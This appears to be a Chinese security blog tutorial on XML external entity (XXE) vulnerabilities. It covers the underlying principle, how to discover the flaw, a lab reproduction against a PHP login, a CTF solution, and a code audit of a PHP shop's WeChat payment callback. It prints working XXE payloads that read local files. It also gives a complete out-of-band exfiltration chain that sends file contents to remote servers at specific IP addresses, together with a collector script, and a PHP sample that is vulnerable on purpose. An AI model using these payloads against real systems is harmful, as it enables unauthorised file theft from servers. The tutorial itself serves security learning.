当前位置: 首页 > news >正文

解密XXE漏洞:原理剖析、复现与代码审计实战

在网络安全领域,XML外部实体(XXE)漏洞因其隐蔽性和危害性而备受关注。随着企业对XML技术的广泛应用,XXE漏洞也逐渐成为攻击者们利用的重点目标。一个看似无害的XML文件,可能成为攻击者入侵系统的利器。因此,理解XXE漏洞的原理,并掌握其复现与代码审计技巧,对于提升系统安全性至关重要。

本文将深入剖析XXE漏洞的工作原理,展示如何在实际环境中复现该漏洞,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开发者,都能从中获得实用的知识和技能。让我们一起解密XXE漏洞,提升我们的安全防护能力。

  1. 基本原理

    1. XML 文档可以包含实体 (Entity),实体可以是内部的(定义在文档内部)或外部的(引用外部资源)。外部实体通常用于在 XML 文档中包含外部数据。如果 XML 解析器允许解析外部实体,那么攻击者可以利用这一点来执行恶意操作。
  2. XXE发现

    1. 黑盒
      1. 获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
      2. 不管获取的Content—Type类型或数据传输类型,均可尝试修改后提交测试xxe
      3. XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
    2. 白盒
      1. 可通过应用功能追踪代码定位审计
      2. 可通过脚本特定函数搜索定位审计
      3. 可通过伪协议玩法绕过相关修复等
  3. XXE~payload

    1. 读取文件
      1.   <?xml version="1.0"?><!DOCTYPE Mikasa [<!ENTITY test SYSTEM "file:///d:/e.txt">]><user><username>&test;</username><password>Mikasa</password></user>
        
    2. 带外测试
      1.   <?xml version="1.0"?><!DOCTYPE test [<!ENTITY % file SYSTEM "http://7drrcs.dnslog.cn">%file;]><user><username>&send;</username><password>Mikasa</password></user>
        
    3. 引用外部实体dtd
      1.   <?xml version="1.0" ?><!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">%file;]><user><username>&send;</username><password>Mikasa</password></user>-----------------------------------------------------------------------------evil2.dtd<!ENTITY send SYSTEM "file:///d:/1/1.txt">
        
    4. 无回显读文件-带外
      1.   <?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY % file SYSTEM "file:///d:/e.txt"><!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">%remote;%all;]><root>&send;</root>-------------------------------------------------------------------------------服务端test.dtd<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">get.php<?php$data = $_GET['file'];$myfile = fopen("file.txt", "w+");fwrite($myfile, $data);fclose($myfile);?>
        
  4. 复现

    1. **复现文件:**​php_xxe.zip

    2. 读取文件
      1. 源码
        1.   doLogin.php<?php$USERNAME = 'admin'; //账号$PASSWORD = 'admin'; //密码$result = null;libxml_disable_entity_loader(false);$xmlfile = file_get_contents('php://input');try{$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$username = $creds->username;$password = $creds->password;if($username == $USERNAME && $password == $PASSWORD){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);}else{$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);}}catch(Exception $e){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());}header('Content-Type: text/html; charset=utf-8');echo $result;?>
          
      2. 捉取登录框的数据包,替换数据包内容即可

    3. 带外测试
      1. 源码
        <?php
        $USERNAME = 'admin'; //账号
        $PASSWORD = 'admin'; //密码
        $result = null;libxml_disable_entity_loader(false);
        $xmlfile = file_get_contents('php://input');try{$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$username = $creds->username;$password = $creds->password;if($username == $USERNAME && $password == $PASSWORD){//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);}else{//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);}
        }catch(Exception $e){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
        }header('Content-Type: text/html; charset=utf-8');
        echo $result;
        ?>
        
      2. 捉取数据包,替换其内容即可

    4. 外部实体引用
      1. 源码同上

      2. 本地有一个dtd文件,evil2.dtd,内容为 <!ENTITY send SYSTEM "file:///d:/1/1.txt">

      3. 捉包,改包来引用他

    5. 无回显带外
      1. 源码
        <?php
        $USERNAME = 'admin'; //账号
        $PASSWORD = 'admin'; //密码
        $result = null;libxml_disable_entity_loader(false);
        $xmlfile = file_get_contents('php://input');try{$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$username = $creds->username;$password = $creds->password;if($username == $USERNAME && $password == $PASSWORD){//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);}else{//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);}
        }catch(Exception $e){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
        }header('Content-Type: text/html; charset=utf-8');
        echo $result;
        ?>
        
      2. 在服务端部署evil2.dtd,和get.php

        1.   <?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % file SYSTEM "file:///d:/1/1.txt"><!ENTITY % remote SYSTEM "http://43.139.186.80/evil2.dtd">%remote;%all;]><root>&send;</root>---------------------------------------------服务端evil2.dtd<!ENTITY % all "<!ENTITY send SYSTEM 'http://43.139.186.80/get.php?file=%file;'>">get.php<?php$data = $_GET['file'];$myfile = fopen("file.txt", "w+");fwrite($myfile, $data);fclose($myfile);?>
          
      3. 捉包替换数据包内容将1.txt的内容带到服务端

    6. CTF赛题

      1. 前端代码
        1.   靶场地址:http://web.jarvisoj.com:9882/<html><head><link href="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/css/bootstrap-editable.css" rel="stylesheet"/><script src="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/js/bootstrap-editable.min.js"></script></head><body><div class="show"><textarea id="tip-area" width=100px height=50px disabled></textarea></div><div class="control-area"><input id="evil-input" type="text" width=100px height=50px value="type sth!"/><button class="btn btn-default" type="button" onclick="send()">Go!</button></div><script>function XHR() {var xhr;try {xhr = new XMLHttpRequest();}catch(e) {var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];for (var i=0,len=IEXHRVers.length;i< len;i++) {try {xhr = new ActiveXObject(IEXHRVers[i]);}catch(e) {continue;}}}return xhr;}function send(){evil_input = document.getElementById("evil-input").value;var xhr = XHR();xhr.open("post","/api/v1.0/try",true);xhr.onreadystatechange = function () {if (xhr.readyState==4 && xhr.status==201) {data = JSON.parse(xhr.responseText);tip_area = document.getElementById("tip-area");tip_area.value = data.task.search+data.task.value;}};xhr.setRequestHeader("Content-Type","application/json");xhr.send('{"search":"'+evil_input+'","value":"own"}');}</script></body></html>//可以看到XMLHttpRequest,猜测存在xxe漏洞·
          
      2. 捉取数据包并修改内容和类型

        POST /api/v1.0/try HTTP/1.1
        Host: web.jarvisoj.com:9882
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
        Accept: */*
        Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
        Accept-Encoding: gzip, deflate
        Content-Type: application/xml;charset=utf-8
        Referer: http://web.jarvisoj.com:9882/
        Content-Length: 108
        DNT: 1
        Connection: close<?xml version = "1.0"?>
        <!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///home/ctf/flag.txt">
        ]>
        <x>&f;</x>
        

代码审计流程

  1. 源码链接:https://pan.baidu.com/s/15O6Hf2tM90T3ZEp9E2x_Ew?pwd=cong

  2. 过程
    1. 首先放入审计系统

    2. 搜索可疑xxe函数simplexml_load_string

    3. 看到敏感可疑函数,最终pe_getxml函数的调用

    4. 最终到wechat_getxml,继续全局搜索最终

    5. 最后追踪到这个路径D:\phpstudy_pro\WWW\phpshe\include\plugin\payment\wechat\notify_url.php

    6. 在网站上访问并测试是否存在漏洞

    7. 发现xxe漏洞,因为通过源码发现他的返回结果是固定的,所以利用无回显文件外带即可任意读取

通过本次学习,我们不仅深入了解了XXE漏洞的原理,还掌握了复现该漏洞的具体步骤和代码审计的方法。安全防护不仅是技术问题,更是一种意识和态度。通过对XXE漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据安全。

在信息安全的道路上,没有终点。希望本文能为您在安全防护方面提供有价值的指导和帮助,激发您对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢您的阅读,期待您的反馈与分享!

相关文章:

解密XXE漏洞:原理剖析、复现与代码审计实战

在网络安全领域&#xff0c;XML外部实体&#xff08;XXE&#xff09;漏洞因其隐蔽性和危害性而备受关注。随着企业对XML技术的广泛应用&#xff0c;XXE漏洞也逐渐成为攻击者们利用的重点目标。一个看似无害的XML文件&#xff0c;可能成为攻击者入侵系统的利器。因此&#xff0c…...

Spring Boot集成Resilience4J实现限流/重试/隔离

1.前言 上篇文章讲了Resilience4J实现熔断功能&#xff0c;文章详见&#xff1a;Spring Boot集成Resilience4J实现断路器功能 | Harries Blog™&#xff0c;本篇文章主要讲述基于Resilience4J实现限流/重试/隔离。 2.代码工程 pom.xml <dependency><groupId>io…...

谷粒商城实战笔记-119~121-全文检索-ElasticSearch-mapping

文章目录 一&#xff0c;119-全文检索-ElasticSearch-映射-mapping创建1&#xff0c;Elasticsearch7开始不支持类型type。2&#xff0c;mapping2.1 Elasticsearch的Mapping 二&#xff0c;120-全文检索-ElasticSearch-映射-添加新的字段映射三&#xff0c;121-全文检索-Elastic…...

Java 并发编程:Java 线程池的介绍与使用

大家好&#xff0c;我是栗筝i&#xff0c;这篇文章是我的 “栗筝i 的 Java 技术栈” 专栏的第 024 篇文章&#xff0c;在 “栗筝i 的 Java 技术栈” 这个专栏中我会持续为大家更新 Java 技术相关全套技术栈内容。专栏的主要目标是已经有一定 Java 开发经验&#xff0c;并希望进…...

ubuntu上安装HBase伪分布式-2024年08月04日

ubuntu上安装HBase伪分布式-2024年08月04日 1.HBase介绍2.HBase与Hadoop的关系3.安装前言4.下载及安装5.单机配置6.伪分布式配置 1.HBase介绍 HBase是一个开源的非关系型数据库&#xff0c;它基于Google的Bigtable设计&#xff0c;用于支持对大型数据集的实时读写访问。HBase有…...

Mojo的特征与参数(参数化部分)详解

许多语言都具有元编程功能:即编写生成或修改代码的代码。Python 具有动态元编程功能:装饰器、元类等功能。这些功能使 Python 非常灵活且高效,但由于它们是动态的,因此会产生运行时开销。其他语言具有静态或编译时元编程功能,如 C 预处理器宏和 C++ 模板。这些功能可能受到…...

C++数组、vector求最大值最小值及其下标

使用 <algorithm> 头文件来查找数组或向量中最大值、最小值及其索引 #include <iostream> #include <vector> #include <algorithm> // 包含 std::max_element 和 std::min_elementint main() {std::vector<int> vec {3, 1, 4, 2, 5};// 查找最…...

内网安全:多种横向移动方式

1.MMC20.Application远程执行命令 2.ShellWindows远程执行命令 3.ShellBrowserWindow远程执行命令 4.WinRM远程执行命令横向移动 5.使用系统漏洞ms17010横向移动 DCOM&#xff1a; DCOM&#xff08;分布式组件对象模型&#xff09;是微软的一系列概念和程序接口。它支持不同…...

搭建 STM32 网关服务器的全流程:集成嵌入式 C++、TCP/IP 通信、Flash 存储及 JWT 认证(含代码示例)

引言 随着物联网&#xff08;IoT&#xff09;技术的快速发展&#xff0c;基于 STM32 的服务器&#xff08;类似网关&#xff09;在数据采集、设备控制等方面的应用越来越广泛。本文将介绍搭建一个基于 STM32 的服务器所需的技术栈&#xff0c;以及详细的搭建步骤和代码示例。 …...

一款免费强大的电脑锁屏工具,中文绿色免安装

这款软件主要特点是锁屏后不显示密码输入框&#xff0c;直接输入密码即可解锁。 ScreenBlur是一款功能强大的电脑屏幕锁软件&#xff0c;主要用于保护用户的隐私和数据安全。该软件的主要功能包括自动锁屏、隐藏桌面、加密锁机等。 功能特点 自动锁屏&#xff1a;用户可以设…...

Python | Leetcode Python题解之第319题灯泡开关

题目&#xff1a; 题解&#xff1a; class Solution:def bulbSwitch(self, n: int) -> int:return int(sqrt(n 0.5))...

前端Web-JavaScript(上)

要想让网页具备一定的交互效果&#xff0c;具有一定的动作行为&#xff0c;还得通过JavaScript来实现, 这门语言会让我们的页面能够和用户进行交互。 什么是JavaScript JavaScript&#xff08;简称&#xff1a;JS&#xff09; 是一门跨平台、面向对象的脚本语言&#xff0c;是…...

【积累】Python的类

类和方法的概念及实例 类 (Class)&#xff1a;类是对具有相同属性和方法的对象集合的抽象描述。它定义了该集合中每个对象所共有的属性和方法。对象是类的实例。 方法&#xff1a;类中定义的函数。 构造方法 __init__()&#xff1a;这是一个特殊的方法&#xff0c;会在类实例…...

Golang | Leetcode Golang题解之第318题最大单词长度乘积

题目&#xff1a; 题解&#xff1a; func maxProduct(words []string) (ans int) {masks : map[int]int{}for _, word : range words {mask : 0for _, ch : range word {mask | 1 << (ch - a)}if len(word) > masks[mask] {masks[mask] len(word)}}for x, lenX : ra…...

【感想】支持八股文在面试的应用

八股文&#xff1a;程序员面试中的利与弊 在现代社会的职场竞争中&#xff0c;尤其是IT行业&#xff0c;面试环节常常成为决定一个人能否入职的重要关卡。在这其中&#xff0c;“八股文”作为一种被广泛应用的考核工具&#xff0c;已经成为面试中不可或缺的一部分。然而&#…...

B - 02-计算球的体积 51Nod - 3266

对于半径为 rr 的球&#xff0c;其体积的计算公式为 V4/3πr3V4/3πr3 &#xff0c;这里取 π3.14π3.14 。现给定 rr &#xff0c;求 VV 。 Input 输入为一个不超过 100100 的非负实数&#xff0c;即球半径&#xff0c;类型为 doubledouble 。 Output 输出一个实数&#x…...

Qt pro文件详解

概述 在Qt中&#xff0c;.pro 文件&#xff08;也称为项目文件&#xff09;是Qt项目管理系统&#xff08;qmake&#xff09;所使用的配置文件。这个文件定义了如何构建你的Qt应用程序或库&#xff0c;其使用简单的键值对语法&#xff0c;允许你指定源文件、头文件、库依赖、配置…...

JavaFX布局-ButtonBar

JavaFX布局-ButtonBar 常用属性buttonOrderpaddingbuttonMinWidth 实现方式Java实现fxml实现 一个特殊的容器&#xff0c;用于创建一组按钮&#xff0c;水平排列按钮太多&#xff0c;会被遮住&#xff0c;不会自动产生滚动条 常用属性 buttonOrder 预制顺序 buttonBar.setBut…...

【C++程序设计】——利用数组处理批量数据(二)

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-削好皮的Pineapple! &#x1f468;‍&#x1f4bb; hello 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 削好皮的Pineapple! 原创 &#x1f468;‍&#x1f4…...

使用 1panel面板 部署 php网站

代码仓库&#xff1a;https://github.com/talmudmaster/RedCorpus 目录 网站介绍安装步骤1. 准备云服务器2. 准备域名&#xff08;可跳过&#xff09;3. 安装1panel面板4. 服务器开放端口5. 进入1panel面板6. 安装并启动软件&#xff08;服务器和面板开放端口&#xff09;7. 创…...

Windows调大虚拟内存来代替升级物理运行内存(RAM)真的有用吗?

前言 前段时间有个粉丝突发奇想说&#xff1a;电脑运行内存不足&#xff0c;调大虚拟内存来代替升级物理运行内存&#xff08;内存条&#xff09;不就可以了&#xff1f;剩下的大几百块钱吃香的喝辣的不好吗&#xff1f; 嗯。。。直到2024年的今天&#xff0c;估计还有很多小…...

[Unity] ShaderGraph实现DeBuff污染 溶解叠加效果

本篇是在之前的基础上&#xff0c;继续做的功能衍生。 [Unity] ShaderGraph实现Sprite消散及受击变色 完整连连看如下所示&#xff1a;...

java算法day28

java算法day28 300 最长递增子序列136 只出现一次的数字169 多数元素234 回文链表53 最大子数组和 300 最长递增子序列 这个是记忆化搜索的代码。是从递归改过来的。 这题显然是要用dp做比较合适。因为很容易看到原问题与子问题之间的关系。 还是从后往前看。 然后可以利用选…...

vue实现歌词滚动效果

1.结构 <template><div class"lyricScroll"><div class"audio"><audio id"audio" src"./common/周传雄-青花1.mp3" controls></audio></div><div class"container" id"contai…...

【算法设计题】合并两个非递减有序链表,第1题(C/C++)

目录 第1题 合并两个非递减有序链表 得分点&#xff08;必背&#xff09; 题解 函数声明与初始化变量&#xff1a; 初始化合并链表的头节点&#xff1a; 合并两个链表&#xff1a; 处理剩余节点&#xff1a; 返回合并后的链表&#xff1a; 完整测试代码 &#x1f308;…...

Vue前端工程

创建一个工程化的vue项目 npm init vuelatest 全默认回车就好了 登录注册校验 //定义数据模型 const registerDataref({username:,password:,rePassword: }) //校验密码的函数 const checkRePassword(rule,value,callback)>{if (value){callback(new Error(请再次输入密…...

什么是药物临床试验?

药物临床试验是指在人体上进行的新药试验研究&#xff0c;旨在确定新药的疗效、安全性、药代动力学和药效学。临床试验不仅帮助确认药物是否对特定疾病或症状有效&#xff0c;还帮助识别和评估药物的副作用和风险。 药物临床试验&#xff08;Clinical Trial&#xff0c;CT&…...

编译和汇编的区别

一、编译 编译是将高级语言&#xff08;如C、C、Java等&#xff09;编写的源代码转换成计算机可以直接执行的低级语言&#xff08;通常是机器语言或汇编语言&#xff09;的过程 编译 —— 将人类可读的源代码转换为计算机可执行的指令集 编译过程 通常包括词法分析、语法分…...

C# 设计倒计时器、串口助手开发

文章目录 1. 实现一个简单的倒计时器开始、暂停2. 串口助手开发 1. 实现一个简单的倒计时器开始、暂停 namespace Timer {public partial class Form1 : Form{int count;//用于定时器计数int time;//存储设定的定时值bool parse false;//控制暂停计时public Form1(){Initiali…...

图论① dfs | Java | LeetCode 797,Kama 98 邻接表实现(未完成)

797 所有可能路径 https://leetcode.cn/problems/all-paths-from-source-to-target/description/ 输入&#xff1a;graph [[1,2],[3],[3],[]] 题目分析&#xff0c;这里 class Solution {//这个不是二维数组&#xff0c;而是listList<List<Integer>> res new Ar…...

网站推广的方法及技巧/正规网络教育培训机构

转载于:https://www.cnblogs.com/fanweisheng/p/11250459.html...

恩施做网站/google seo怎么优化

配置文件名称使用&#xff1a; logback-spring.xml 配置user.home是jvm传过来的系统参数&#xff0c;可以直接使用 <property name"LOG_PATH" value"${user.home}/${APP_NAME}/logs" /> 配置自定义的属性&#xff0c;使用slf4j的MDC功能 <appen…...

做网站的软件dw下载/网络营销案例范文

控制台界面的音乐播放器&#xff08;俗称DOS窗口&#xff09;&#xff0c;支持键盘操作&#xff0c;有可视化效果和进度条显示&#xff0c;还可记住列表中上次播放的位置。 单EXE&#xff0c;纯绿色。 使用方法&#xff1a;把EXE文件放到有歌曲的目录&#xff0c;然后运行&…...

动态网站标题怎么做/上海网站优化

1.led点阵原理....老师给的led点阵是8*8的..我把他们理解为坐标&#xff0c;有几个引脚的来控制选择y轴的灯&#xff0c;而其他几个是控制显示x轴哪个亮这个原理跟2位8段led差不多&#xff0c;x轴的可以理解位8个灯管&#xff0c;而y轴的理解为选择。我们要驱动它显示字母&…...

wordpress 电子商务插件/网店如何引流与推广

开发程序的时候可能会用到多个数据库&#xff0c;比如一个客户正在使用的数据库&#xff0c;一个测试数据库。开发中可能经常在这两套数据库中切换&#xff0c;从前我的做法是修改web.config文件&#xff0c;但是这样确实不太方便。最近发现可以通过预处理器指令来方便的调整。…...

电暖怎么做网站/百度灰色关键词代做

B站的AI资源大佬KK(https://space.bilibili.com/7337706 大佬主页https://artificial-intelligence.net.cn/ 里面很多AI资源汇总 有惊喜) 转了一个贴吧神贴&#xff1a;说明很多人在学习 线性代数的时候 都在思考其几何意义在一般人来看 数学跟哲学一样 离生活很远&#…...